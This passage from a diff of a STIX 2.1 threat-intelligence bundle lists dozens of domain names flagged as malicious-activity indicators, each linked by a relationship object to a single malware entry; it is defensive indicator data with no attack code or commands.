"malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c08d60e8-766d-4434-9e1e-aeea2d14d061", + "created": "2023-07-28T12:14:36.281698Z", + "modified": "2023-07-28T12:14:36.281698Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='hellottec.art']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.281698Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--91d39116-96f5-4111-940c-7b07470b568c", + "created": "2023-07-28T12:14:36.281931Z", + "modified": "2023-07-28T12:14:36.281931Z", + "relationship_type": "indicates", + "source_ref": "indicator--c08d60e8-766d-4434-9e1e-aeea2d14d061", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--79c87cb7-8598-4663-9631-17f045349503", + "created": "2023-07-28T12:14:36.282007Z", + "modified": "2023-07-28T12:14:36.282007Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='insider.gr.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.282007Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a042b750-b0fb-4a88-b567-91b82c8d5d70", + "created": "2023-07-28T12:14:36.282353Z", + "modified": "2023-07-28T12:14:36.282353Z", + "relationship_type": "indicates", + "source_ref": "indicator--79c87cb7-8598-4663-9631-17f045349503", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--be9e3dbc-bfc6-4597-a18f-1c0d7775deb5", + "created": "2023-07-28T12:14:36.282468Z", + "modified": "2023-07-28T12:14:36.282468Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='stonisi.news']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.282468Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--72f7dd80-8565-4aa9-88d5-86cfeba6248e", + "created": "2023-07-28T12:14:36.282732Z", + "modified": "2023-07-28T12:14:36.282732Z", + "relationship_type": "indicates", + "source_ref": "indicator--be9e3dbc-bfc6-4597-a18f-1c0d7775deb5", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9140c738-63bc-4974-a3b6-19899b8f2b66", + "created": "2023-07-28T12:14:36.282811Z", + "modified": "2023-07-28T12:14:36.282811Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tribune-mg.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.282811Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3161215b-f3e8-444c-b8fc-5f6771c0a7a5", + "created": "2023-07-28T12:14:36.283044Z", + "modified": "2023-07-28T12:14:36.283044Z", + "relationship_type": "indicates", + "source_ref": "indicator--9140c738-63bc-4974-a3b6-19899b8f2b66", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--922d20d9-55d4-43d3-9190-bead49b4e33d", + "created": "2023-07-28T12:14:36.28312Z", + "modified": "2023-07-28T12:14:36.28312Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='qwert.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.28312Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ebecd6ac-d6a8-4408-920b-526ea17e45db", + "created": "2023-07-28T12:14:36.283351Z", + "modified": "2023-07-28T12:14:36.283351Z", + "relationship_type": "indicates", + "source_ref": "indicator--922d20d9-55d4-43d3-9190-bead49b4e33d", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--97e44704-dd09-458a-869f-e4e6607d7c1d", + "created": "2023-07-28T12:14:36.283425Z", + "modified": "2023-07-28T12:14:36.283425Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='dragonair.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.283425Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e578f168-0d9d-49bb-9c0e-b24610e430a2", + "created": "2023-07-28T12:14:36.28365Z", + "modified": "2023-07-28T12:14:36.28365Z", + "relationship_type": "indicates", + "source_ref": "indicator--97e44704-dd09-458a-869f-e4e6607d7c1d", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ceca60ed-8876-4091-97a8-53cc9b4aaf18", + "created": "2023-07-28T12:14:36.283722Z", + "modified": "2023-07-28T12:14:36.283722Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='url-promo.club']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.283722Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4adbd0c2-1731-4e8b-8b1f-d32c961477e0", + "created": "2023-07-28T12:14:36.283953Z", + "modified": "2023-07-28T12:14:36.283953Z", + "relationship_type": "indicates", + "source_ref": "indicator--ceca60ed-8876-4091-97a8-53cc9b4aaf18", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--38671e60-59ec-4c48-b815-104ea1df9695", + "created": "2023-07-28T12:14:36.284027Z", + "modified": "2023-07-28T12:14:36.284027Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='lamborghini-s.shop']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.284027Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b3fd52ba-8862-461f-bdbf-766c4586fd46", + "created": "2023-07-28T12:14:36.284254Z", + "modified": "2023-07-28T12:14:36.284254Z", + "relationship_type": "indicates", + "source_ref": "indicator--38671e60-59ec-4c48-b815-104ea1df9695", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--07102c66-5b94-4cc3-82cb-65c8416a4dd7", + "created": "2023-07-28T12:14:36.284326Z", + "modified": "2023-07-28T12:14:36.284326Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tovima.live']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.284326Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--01ebd637-0be8-4f5a-a09c-50b0f33a39d1", + "created": "2023-07-28T12:14:36.284549Z", + "modified": "2023-07-28T12:14:36.284549Z", + "relationship_type": "indicates", + "source_ref": "indicator--07102c66-5b94-4cc3-82cb-65c8416a4dd7", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--401fe310-5c1e-4704-84c6-61e6f26bb82a", + "created": "2023-07-28T12:14:36.284621Z", + "modified": "2023-07-28T12:14:36.284621Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='weathersite.online']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.284621Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b3defba7-1b9a-49ef-9a68-eb85ee6c8e88", + "created": "2023-07-28T12:14:36.284845Z", + "modified": "2023-07-28T12:14:36.284845Z", + "relationship_type": "indicates", + "source_ref": "indicator--401fe310-5c1e-4704-84c6-61e6f26bb82a", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--353fb1b0-4307-4faf-a24c-8d983e906770", + "created": "2023-07-28T12:14:36.284917Z", + "modified": "2023-07-28T12:14:36.284917Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='newzgroup.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.284917Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--671abcd7-6e4a-486e-9f90-18d8ae4e5521", + "created": "2023-07-28T12:14:36.285136Z", + "modified": "2023-07-28T12:14:36.285136Z", + "relationship_type": "indicates", + "source_ref": "indicator--353fb1b0-4307-4faf-a24c-8d983e906770", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--65bcb2af-6234-4559-b102-4527f7b82219", + "created": "2023-07-28T12:14:36.285213Z", + "modified": "2023-07-28T12:14:36.285213Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='vodafoneegypt.tech']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.285213Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0180c992-fbe3-455d-9e79-681a82539138", + "created": "2023-07-28T12:14:36.285507Z", + "modified": "2023-07-28T12:14:36.285507Z", + "relationship_type": "indicates", + "source_ref": "indicator--65bcb2af-6234-4559-b102-4527f7b82219", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6fbb321a-2aaf-49be-a3b5-325cf5521874", + "created": "2023-07-28T12:14:36.28558Z", + "modified": "2023-07-28T12:14:36.28558Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='contents-domain.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.28558Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--17dd4ed4-b5e8-4ece-9ed9-85cc1056238a", + "created": "2023-07-28T12:14:36.285803Z", + "modified": "2023-07-28T12:14:36.285803Z", + "relationship_type": "indicates", + "source_ref": "indicator--6fbb321a-2aaf-49be-a3b5-325cf5521874", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b8166f5f-d71e-413f-85c8-cd8e374b70c6", + "created": "2023-07-28T12:14:36.285878Z", + "modified": "2023-07-28T12:14:36.285878Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='mifcbook.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.285878Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2462cb63-b9bb-4748-b458-9c15188f1f06", + "created": "2023-07-28T12:14:36.286099Z", + "modified": "2023-07-28T12:14:36.286099Z", + "relationship_type": "indicates", + "source_ref": "indicator--b8166f5f-d71e-413f-85c8-cd8e374b70c6", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--186e3645-0de5-48ec-9724-8c4255691b25", + "created": "2023-07-28T12:14:36.28617Z", + "modified": "2023-07-28T12:14:36.28617Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='2y4nothing.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.28617Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a020f4d9-5776-4228-97a9-4aed0345cfaa", + "created": "2023-07-28T12:14:36.286426Z", + "modified": "2023-07-28T12:14:36.286426Z", + "relationship_type": "indicates", + "source_ref": "indicator--186e3645-0de5-48ec-9724-8c4255691b25", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--81350325-351f-4779-aa6a-6e789d3b86a8", + "created": "2023-07-28T12:14:36.286499Z", + "modified": "2023-07-28T12:14:36.286499Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='politique-koaci.info']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.286499Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--db31bd2b-f67b-47b1-b306-0ac4cd5dd038", + "created": "2023-07-28T12:14:36.286727Z", + "modified": "2023-07-28T12:14:36.286727Z", + "relationship_type": "indicates", + "source_ref": "indicator--81350325-351f-4779-aa6a-6e789d3b86a8", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f57de312-b3a5-4e7d-a9d4-f5e123f78946", + "created": "2023-07-28T12:14:36.2868Z", + "modified": "2023-07-28T12:14:36.2868Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='orangegypt.co']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.2868Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--eac28249-421f-445c-acea-68086a44a69b", + "created": "2023-07-28T12:14:36.287021Z", + "modified": "2023-07-28T12:14:36.287021Z", + "relationship_type": "indicates", + "source_ref": "indicator--f57de312-b3a5-4e7d-a9d4-f5e123f78946", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ffae3e03-ebf2-4f6e-9e8e-7d6c8d9e1e12", + "created": "2023-07-28T12:14:36.287093Z", + "modified": "2023-07-28T12:14:36.287093Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='syncservices.one']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.287093Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d449ee44-5283-4f04-8375-4e9de3f45d3c", + "created": "2023-07-28T12:14:36.28732Z", + "modified": "2023-07-28T12:14:36.28732Z", + "relationship_type": "indicates", + "source_ref": "indicator--ffae3e03-ebf2-4f6e-9e8e-7d6c8d9e1e12", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4eb8128e-05e3-4822-a354-a37756b44ceb", + "created": "2023-07-28T12:14:36.287391Z", + "modified": "2023-07-28T12:14:36.287391Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='eagerfox.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.287391Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8079d7db-da47-4a6e-bdf3-a15e52b737c6", + "created": "2023-07-28T12:14:36.287625Z", + "modified": "2023-07-28T12:14:36.287625Z", + "relationship_type": "indicates", + "source_ref": "indicator--4eb8128e-05e3-4822-a354-a37756b44ceb", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1186f68a-5091-4386-82d1-4a0b633b48c2", + "created": "2023-07-28T12:14:36.287699Z", + "modified": "2023-07-28T12:14:36.287699Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='kohaicorp.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.287699Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3267fb39-6ced-4a06-802e-28b8d21d84a2", + "created": "2023-07-28T12:14:36.28793Z", + "modified": "2023-07-28T12:14:36.28793Z", + "relationship_type": "indicates", + "source_ref": "indicator--1186f68a-5091-4386-82d1-4a0b633b48c2", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--74da948e-c007-410a-b149-f010da3ab546", + "created": "2023-07-28T12:14:36.288003Z", + "modified": "2023-07-28T12:14:36.288003Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='fastdownload.me']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.288003Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1dd3a734-2402-46b5-a9c4-07664cd5e166", + "created": "2023-07-28T12:14:36.288462Z", + "modified": "2023-07-28T12:14:36.288462Z", + "relationship_type": "indicates", + "source_ref": "indicator--74da948e-c007-410a-b149-f010da3ab546", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c1ccb601-c949-479f-b88c-a26fb493c756", + "created": "2023-07-28T12:14:36.288538Z", + "modified": "2023-07-28T12:14:36.288538Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='youtube.voto']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.288538Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--425e66ee-c1e6-431d-9a65-e9684abee374", + "created": "2023-07-28T12:14:36.288762Z", + "modified": "2023-07-28T12:14:36.288762Z", + "relationship_type": "indicates", + "source_ref": "indicator--c1ccb601-c949-479f-b88c-a26fb493c756", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8981cf4d-2fa7-4799-a3bc-b2b1b1579baf", + "created": "2023-07-28T12:14:36.288834Z", + "modified": "2023-07-28T12:14:36.288834Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='z2digital.cloud']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.288834Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e0e130fa-a72f-4732-b12c-1633c9f075da", + "created": "2023-07-28T12:14:36.289057Z", + "modified": "2023-07-28T12:14:36.289057Z", + "relationship_type": "indicates", + "source_ref": "indicator--8981cf4d-2fa7-4799-a3bc-b2b1b1579baf", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1a43f5f7-e2c0-4cb5-94b7-6a660ef53238", + "created": "2023-07-28T12:14:36.289129Z", + "modified": "2023-07-28T12:14:36.289129Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='danas.bid']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.289129Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f875080f-3954-4f32-8c01-b806d10746bd", + "created": "2023-07-28T12:14:36.289352Z", + "modified": "2023-07-28T12:14:36.289352Z", + "relationship_type": "indicates", + "source_ref": "indicator--1a43f5f7-e2c0-4cb5-94b7-6a660ef53238", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8442d774-14a4-4ca7-b394-133727c0c673", + "created": "2023-07-28T12:14:36.289426Z", + "modified": "2023-07-28T12:14:36.289426Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='kinder.engine.ninja']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.289426Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1774dd9e-347b-463d-a9e0-abe92e3cd3c7", + "created": "2023-07-28T12:14:36.289651Z", + "modified": "2023-07-28T12:14:36.289651Z", + "relationship_type": "indicates", + "source_ref": "indicator--8442d774-14a4-4ca7-b394-133727c0c673", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2915ded0-1d0f-4de4-8f98-a2a2c691485f", + "created": "2023-07-28T12:14:36.289723Z", + "modified": "2023-07-28T12:14:36.289723Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='affise.app']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.289723Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--17211b8b-4e5a-4b0b-a8ae-4698d4aebfed", + "created": "2023-07-28T12:14:36.289941Z", + "modified": "2023-07-28T12:14:36.289941Z", + "relationship_type": "indicates", + "source_ref": "indicator--2915ded0-1d0f-4de4-8f98-a2a2c691485f", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2893dcf3-6c11-4c4c-92e9-7e59cb71b493", + "created": "2023-07-28T12:14:36.290012Z", + "modified": "2023-07-28T12:14:36.290012Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ancienthistory.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.290012Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3f6ac45e-0c18-49d5-8271-b4d916246503", + "created": "2023-07-28T12:14:36.290237Z", + "modified": "2023-07-28T12:14:36.290237Z", + "relationship_type": "indicates", + "source_ref": "indicator--2893dcf3-6c11-4c4c-92e9-7e59cb71b493", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--44eb314d-48b2-4c96-a9a9-c17d24caa2a4", + "created": "2023-07-28T12:14:36.290311Z", + "modified": "2023-07-28T12:14:36.290311Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='getupdatesnow.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.290311Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c37b6d85-282e-4a1a-9e97-7400a02cd5a2", + "created": "2023-07-28T12:14:36.290534Z", + "modified": "2023-07-28T12:14:36.290534Z", + "relationship_type": "indicates", + "source_ref": "indicator--44eb314d-48b2-4c96-a9a9-c17d24caa2a4", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--abf03d80-198c-4aa8-b39a-69c3933802d8", + "created": "2023-07-28T12:14:36.29061Z", + "modified": "2023-07-28T12:14:36.29061Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='redeitt.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.29061Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--34ac66be-7153-4732-a886-d170e036b801", + "created": "2023-07-28T12:14:36.290831Z", + "modified": "2023-07-28T12:14:36.290831Z", + "relationship_type": "indicates", + "source_ref": "indicator--abf03d80-198c-4aa8-b39a-69c3933802d8", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--dd19c922-6749-4688-9c22-4a869725288b", + "created": "2023-07-28T12:14:36.290903Z", + "modified": "2023-07-28T12:14:36.290903Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sephoragroup.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.290903Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--809c46f0-42f6-4700-9e86-06afb2c093cd", + "created": "2023-07-28T12:14:36.291127Z", + "modified": "2023-07-28T12:14:36.291127Z", + "relationship_type": "indicates", + "source_ref": "indicator--dd19c922-6749-4688-9c22-4a869725288b", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--22b7053c-2786-490e-87ac-32a1a2748edc", + "created": "2023-07-28T12:14:36.291199Z", + "modified": "2023-07-28T12:14:36.291199Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='atheere.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.291199Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7c9d14aa-504d-45e5-856f-dc4f9e6e2923", + "created": "2023-07-28T12:14:36.291483Z", + "modified": "2023-07-28T12:14:36.291483Z", + "relationship_type": "indicates", + "source_ref": "indicator--22b7053c-2786-490e-87ac-32a1a2748edc", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0eef3a99-0f73-4690-8abb-8115738c58db", + "created": "2023-07-28T12:14:36.291558Z", + "modified": "2023-07-28T12:14:36.291558Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='updateservice.center']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.291558Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0644b919-bf6b-4fd0-860e-67549e63840b", + "created": "2023-07-28T12:14:36.291783Z", + "modified": "2023-07-28T12:14:36.291783Z", + "relationship_type": "indicates", + "source_ref": "indicator--0eef3a99-0f73-4690-8abb-8115738c58db", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ed41067c-9d72-4d5b-b3e0-8b60acd5d247", + "created": "2023-07-28T12:14:36.291862Z", + "modified": "2023-07-28T12:14:36.291862Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='charmander.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.291862Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7f0b7c89-7610-481e-8629-2b0e88f33a82", + "created": "2023-07-28T12:14:36.292087Z", + "modified": "2023-07-28T12:14:36.292087Z", + "relationship_type": "indicates", + "source_ref": "indicator--ed41067c-9d72-4d5b-b3e0-8b60acd5d247", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8c1f80bf-9bf2-4c9b-a6b3-94465b54a1fb", + "created": "2023-07-28T12:14:36.292159Z", + "modified": "2023-07-28T12:14:36.292159Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ckforward.one']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.292159Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9314aca5-2bd5-4d04-9973-ec14aac525e3", + "created": "2023-07-28T12:14:36.292386Z", + "modified": "2023-07-28T12:14:36.292386Z", + "relationship_type": "indicates", + "source_ref": "indicator--8c1f80bf-9bf2-4c9b-a6b3-94465b54a1fb", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--dc1f858e-894a-442c-bbd7-ebbae872d20a", + "created": "2023-07-28T12:14:36.292458Z", + "modified": "2023-07-28T12:14:36.292458Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='teslali.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.292458Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--097cc910-b6ec-4ee1-8d26-d7a419f5e874", + "created": "2023-07-28T12:14:36.292684Z", + "modified": "2023-07-28T12:14:36.292684Z", + "relationship_type": "indicates", + "source_ref": "indicator--dc1f858e-894a-442c-bbd7-ebbae872d20a", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f8a85f57-1892-4db2-ac42-9bb6c45c81c3", + "created": "2023-07-28T12:14:36.292755Z", + "modified": "2023-07-28T12:14:36.292755Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='getsignalapps.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.292755Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--935101c5-7c71-4074-ae57-9e132fbded85", + "created": "2023-07-28T12:14:36.292987Z", + "modified": "2023-07-28T12:14:36.292987Z", + "relationship_type": "indicates", + "source_ref": "indicator--f8a85f57-1892-4db2-ac42-9bb6c45c81c3", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e659b3fa-32b2-4e79-869d-4b68ed1226a1", + "created": "2023-07-28T12:14:36.293064Z", + "modified": "2023-07-28T12:14:36.293064Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='symoty.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.293064Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d2a9db3d-44a0-4890-9c92-bbcd69f2e11a", + "created": "2023-07-28T12:14:36.293296Z", + "modified": "2023-07-28T12:14:36.293296Z", + "relationship_type": "indicates", + "source_ref": 